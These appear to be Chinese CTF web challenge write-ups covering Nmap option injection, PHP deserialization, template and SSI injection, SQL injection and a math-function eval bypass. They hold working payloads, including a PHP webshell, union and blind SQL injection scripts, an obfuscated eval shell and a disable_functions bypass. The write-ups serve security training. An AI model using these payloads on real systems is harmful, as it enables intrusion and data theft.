题目类型:利用Nmap参数

源码提示,flag在flag里

image-20251104193038945

试试127.0.0.1|cat${IFS}/flag, 被过滤

🔴利用Nmap参数

-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式

1.利用Nmap参数-oG

-oN/-oX/-oG:将扫描结果输出到文件,支持多种格式,如正常、XML 和 grepable 格式。

构造payload:127.0.0.1 | ' <?=@eval($_POST["cmd"]);?> -oG shell.phtml '

讲一句话木马写到shell.phtml文件里(使用phtml后缀是因为php等后缀被过滤了)

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-04 203215.png)

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-04 203148.png)

2.利用nmap 的-iL参数读取flag到一个文件中,escapeshellarg和escapeshellcmd两个函数的绕过

payload:127.0.0.1' -iL /flag -o haha

经过escapeshellarg函数后
'127.0.0.1'\'' -iL /flag -o haha'(将单引号转义并用一对单引号包裹起来,再将这个语句用单引号包裹起来确保只有一个参数)
经过escapeshellcmd函数后
'127.0.0.1'\\'' -iL /flag -o haha\'
对\转义,在许多编程语言中,反斜杠被用作转义字符,用来表示特殊字符或序列。这里面两个相邻的反斜杠\表示一个单独的反斜杠字符,没有转义作用。而末尾单引号转义过后的普通字符仍然是它本身,没有变化,会被视为普通字符不具有单引号的作用了

这样就分为了三部分’127.0.0.1’和’’连接空白和-iL /flag -o haha’(最后这个单引号只有一个不起作用,但它将最后的文件名变为了haha’)
nmap既可扫描前面的ip,又能执行-iL /flag -o haha’,所以文件名变为了haha’ 直接访问即可看到flag

image-20251104204748538

[NPUCTF2020]ReadlezPHP

在元素中找到:

image-20251104205255051

image-20251104205200404

payload:

1
?data=O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

解释:

assert的工作机制

1
2
// 这会执行phpinfo()函数
assert("phpinfo();");

直接插找得到flag

image-20251104211025813

🔴补充:PHP中一些函数可以实现assert类似的代码执行功能
  1. 直接代码执行函数

eval()

1
2
// 直接执行PHP代码
eval('phpinfo();');

注意:eval是语言结构而非函数,不能通过变量函数调用($b($a)方式)

create_function()

1
2
3
// 创建匿名函数并执行
$func = create_function('', 'phpinfo();');
$func();
  1. 命令执行函数

system()

1
system('whoami');

exec()

1
2
exec('ls', $output);
print_r($output);

shell_exec()

1
echo shell_exec('ls');

passthru()

1
passthru('ls');

popen()

1
popen('ls', 'r');

proc_open()

1
$process = proc_open('ls', array(), $pipes);
  1. 回调函数

call_user_func()

1
2
3
call_user_func('phpinfo');
// 或
call_user_func('system', 'whoami');

call_user_func_array()

1
call_user_func_array('system', array('whoami'));

array_map()

1
array_map('system', array('whoami'));

array_filter() / array_walk()

1
array_filter(array('whoami'), 'system');
  1. 文件包含函数

include / require

1
include('data://text/plain,<?php phpinfo();?>');

file_get_contents() + eval

1
eval(file_get_contents('data://text/plain,<?php phpinfo();?>'));
  1. 特殊技巧

preg_replace() 的 /e 修饰符(PHP < 5.5)

1
preg_replace('/.*/e', 'phpinfo()', '');

ob_start() + 回调

1
2
3
ob_start('system');
echo 'whoami';
ob_end_flush();
  1. 反序列化特定

unserialize() 本身

如果能够二次反序列化:’’

1
2
$data = 'O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}';
unserialize($data);

[强网杯 2019]高明的黑客

题目类型:信息搜集

image-20251104212735458

下载www.tar.gz文件,打开一堆php文件,

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:/soft/phpstudy/PHPTutorial/WWW/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

访问
http://url/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

得到flag

image-20251105211944234

[CISCN2019 华东南赛区]Web11

题目类型:Smarty,php模板注入

上来就提示Smarty,想到php模板注入

image-20251105213148952

在XFF进行模板注入

127.0.0.1|{{system(‘ls /‘)}},出目录

127.0.0.1|{{system(‘cat /flag’)}},源码出flag

image-20251105213110094

[BSidesCF 2019]Kookie

提示用admin登录,利用cookie

image-20251105214911640

在cookie上用户名用admin登录

image-20251105214855916

[ASIS 2019]Unicorn shop

题目类型:unicode和uft-8

源码:提示注意utf-8

image-20251106175249976

购买发现都报错:只允许输入一个字符,所以应该是将1337转换成一个字符

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-06 175741.png)

ID :4, Price :𐅎

或者:

utf-8:0xF0 0x90 0x85 0x8E,还要把0x改成%,%F0%90%85%8E也可以得到flag

image-20251106175822021

🔴补充:unicode编码绕过

原型链污染中的Unicode编码绕过:

基于flask常见trick——unicode&进制编码绕过-先知社区

Flask 的 render_template_string 函数内部使用了 Jinja2 模板引擎,而 Jinja2 模板引擎可以解析和处理 Python 字符串中的八进制、十六进制、Unicode 转义等格式。

[SWPU2019]Web1

题目类型:sql注入(/**/空格绕过,'闭合)

闭合:--+,',#

随便注册登录,进入

发现过滤了命令执行,是sql注入

image-20251106190030853

位置

1
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image-20251106190506349

库名

1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image-20251106192146439

表名

1
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

image-20251106192204263

字段

1
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

image-20251106192116923

flag

image-20251106192001001

[BSidesCF 2019]Futurella

image-20251106193827650

翻译,直接复制粘贴flag{94bdb445-6945-4c11-9f9f-2df7bfa70776}

[极客大挑战 2019]FinalSQL

题目类型:sql盲注

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import time

url = "http://f5ddd91e-bce9-4dd0-b8c2-59e0341dd974.node5.buuoj.cn:81/search.php?"
temp = {"id": ""}
flag = ""

print("开始进行SQL盲注获取flag...")

for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2

while low < high:
# 使用注释掉的第四个payload来获取flag内容
# 从F1naI1y表的password列获取数据
temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)

r = requests.get(url, params=temp)
time.sleep(0.04)

if "Click" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2

if mid <= 32 or mid >= 127:
break

flag += chr(mid)
print(f"当前进度: {flag}")

# 如果检测到常见的flag结束符可以提前退出
if flag.endswith('}') and flag.startswith('flag'):
print("检测到完整的flag格式,提前结束")
break

print("\n最终flag:", flag)

最终flag: cl4y_is_really_amazing,welcome_to_my_blog,hstp://www.cl,y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl,y.top,wblcom_to_Syclover,cl4y_really_nded_a_grilfriend,flag{b513fca9-52e0-41a9-8cba-16f7fc56c1a3}

[CISCN 2019 初赛]Love Math

🪄题目类型:数学函数转换字符串,GET传参外部赋值,eval()函数解析执行命令,PHP动态调用函数名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
//isset函数用于判断该变量是否为null,如果为null返回flase
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
//将GET方法获取的内容传输给变量content
$content = $_GET['c'];
//判断输入的内容长度是否>=80
if (strlen($content) >= 80) {
die("太长了不会算");
}
//设置黑名单数据:空格,\t,\r,',",`,[,]
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {//遍历黑名单数据
//正则表达式/m表示多行匹配
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
//设置可以被允许使用的函数名单
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
//$used_funcs用于存储匹配到的字符串
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
//$used_funcs[0]:表示数组used_funcs的起始地址,使func从数组第一个开始取,直到最后一个
foreach ($used_funcs[0] as $func) {//遍历匹配到的字符串
if (!in_array($func, $whitelist)) {
//匹配到的字符串如果不存在于白名单中
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');//有危险函数执行,可以通过$content=system("ls /")执行恶意代码
}

扫目录,扫到

image-20251106212330728

/.DS_Store文件

image-20251106212814642

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls /

image-20251106213506521

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=ls /

出目录

image-20230824153549268

/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{pi})($$pi{pow})&pi=system&pow=cat /f*

image-20251106213628394

详解:[BUUCTF_WEB_[CISCN 2019 初赛]Love Math 题解 - South](https://south66666666.github.io/2023/08/24/2023-08-24-Love Math/)

[极客大挑战 2019]RCE ME

题目类型:绕过preg_match()中正则表达式,蚁剑绕过disable_functions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

看到了eval(),应该是用system等函数来实现命令执行。
但是得要先绕过preg_match()中正则表达式的限制并getshell,连上蚁剑或菜刀,考虑异或或者取反绕过。
先构造一个Payload看看phpinfo,看一下PHP版本以及禁用函数:
可以看到是PHP7,但是system、exec、shell_exec等命令执行的函数都被禁止了,先构造个Shell连上看一下:

urlencode(~’phpinfo’);

payload:

1
?code=(~%8F%97%8F%96%91%99%90)();

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-07 172256.png)

构造payload的代码:

1
2
3
4
5
6
7
8
9
10
<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>

payload:

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-07 172452.png)

连蚁剑

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-07 172552.png)

连上蚁剑,发现一个flag文件(空的),一个readflag文件

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-07 172703.png)

这里需要绕过这个disable_functions,并执行命令。

蚁剑有一个绕过disable_functions的插件,正好有PHP7的UAF

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-07 172951.png)

运行得到终端,运行/readflag获得Flag:

flag{0e52c31d-44f6-4e1d-b91f-600e08846d48}

方法二:[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)-CSDN博客

[De1CTF 2019]SSRF Me

题目类型:代码审计

hint:flag is in ./flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
result['code'] = 200
result['data'] = f.read() #读取result.txt中的数据
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
ip = request.remote_addr #获取请求端的ip地址
if(waf(param)): #调用waf函数进行过滤
return "No Hacker!!!!"
task = Task(action, param, sign, ip) #创建Task类对象
return json.dumps(task.Exec()) #以json的形式返回到客户端

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
except:
return "Connection Timeout"

def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): #将传入的字符串进行md5加密
return hashlib.md5(content).hexdigest()

def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file 如果是的话,返回true
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=9999)

代码审计:首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if “scan” in self.action:执行将flag.txt中的数据写入result.txt中,继续if “read” in self.action:执行读取result.txt中的数据,并且放在 result[‘data’] 中 , return json.dumps(task.Exec()) 接着返回以json的形式返回到客户端。

🔴构造payload的步骤:

  1. 首先需要绕过self.checkSign()
    分析一下相关源码,源码分别截取,方便分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
return hashlib.md5(secert_key + param + action).hexdigest()

需要满足self.checkSign(),

就需要getSign(self.action, self.param) == self.sign,(而sign值通过cookie传值)

就需要hashlib.md5(secert_key + param + action).hexdigest() == self.sign,

说白了也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign,即我们需要得到

secert_key + ‘flag.txtreadscan’的哈希值

1
2
3
4
5
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

但是我们不知道secret_key的值是多少,它只存在于服务端,但是我们可以通过上面截取的源码中/geneSign,来返回我们所需要的编码之后的哈希值

注意到/geneSign中已经将action定为scan,所以我们传入的param可以为flag.txtread,这样的话还是会拼接为secert_key + ‘flag.txtreadscan’

payload1:

1
/geneSign?param=flag.txtread

返回哈希值

![](C:\Users\HP\Desktop\Screenshots\屏幕截图 2025-11-09 210921.png)

  1. 将flag.txt中的数据读入result.txt,然后读取result.txt

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    if "scan" in self.action:
    tmpfile = open("./%s/result.txt" % self.sandbox, 'w') #注意w,可以对result.txt文件进行修改
    resp = scan(self.param)
    if (resp == "Connection Timeout"):
    result['data'] = resp
    else:
    print resp
    tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
    tmpfile.close()
    result['code'] = 200
    if "read" in self.action:
    f = open("./%s/result.txt" % self.sandbox, 'r') #打开方式为只读
    result['code'] = 200
    result['data'] = f.read() #读取result.txt中的数据
    if result['code'] == 500:
    result['data'] = "Action Error"

payload2:如下,注意修改cookie中参数action和参数sign的值

1
2
3
/De1ta?param=flag.txt

Cookie:action=readscan;sign=5605cb06db359c4f5eead25d0abc8024

image-20251109211313438

flag{332aaca5-61c2-4029-8ea3-53f8ba45d058}

[De1CTF 2019]SSRF Me之愚见 - 简书

[BJDCTF2020]EasySearch

题目类型:md5绕过+ssi注入

扫目录,发现index.php.swp文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";

}else
{
***
}
***
?>

分析源代码发现password进行md5加密后前六位需要与’6d0bc1’相同

🔴脚本:

1
2
3
4
5
6
import hashlib

for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)

image-20251110134514487

url:public/e2f986317c3af967329a9b04dd7c42699d6fa8e2.shtml

访问获得

image-20251110134658539

🔴补充:什么是ssi注入

SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果,当在网站目录中发现了.stm .shtm .shtml或在界面中发现了

1
2
3
<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>

就容易产生ssi注入,此处问题的其注入格式为:<!--#exec cmd="命令" -->。

那就在可控参数用户名处输入可执行命令,payload:<!--#exec cmd="ls.." -->,结果如下:

image-20251110135153083

<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" -->

image-20251110135252465

[WUSTCTF2020]颜值成绩查询

题目类型:布尔盲注

输入1,2,3,4有回显,5之后报错。输入1^1^1(异或),返回正常,说明是布尔注入

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests

url= 'http://715a64dd-0d58-4d8f-85a7-dfeb9924ef59.node5.buuoj.cn:81/'

database =""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" #库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1"#表名为flag,score
payload3 ="?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" #列名为flag,value
payload4 = "?stunum=1^(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})^1" #
for i in range(1,10000):
low = 32
high = 128
mid =(low + high) // 2
while(low < high):
# payload = payload1.format(i,mid) #查库名
# payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
payload = payload4.format(i,mid) #查flag

new_url = url + payload
r = requests.get(new_url)
print(new_url)
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) //2
if (mid == 32 or mid == 132):
break
database +=chr(mid)
print(database)

print(database)

结果:

image-20251110141622456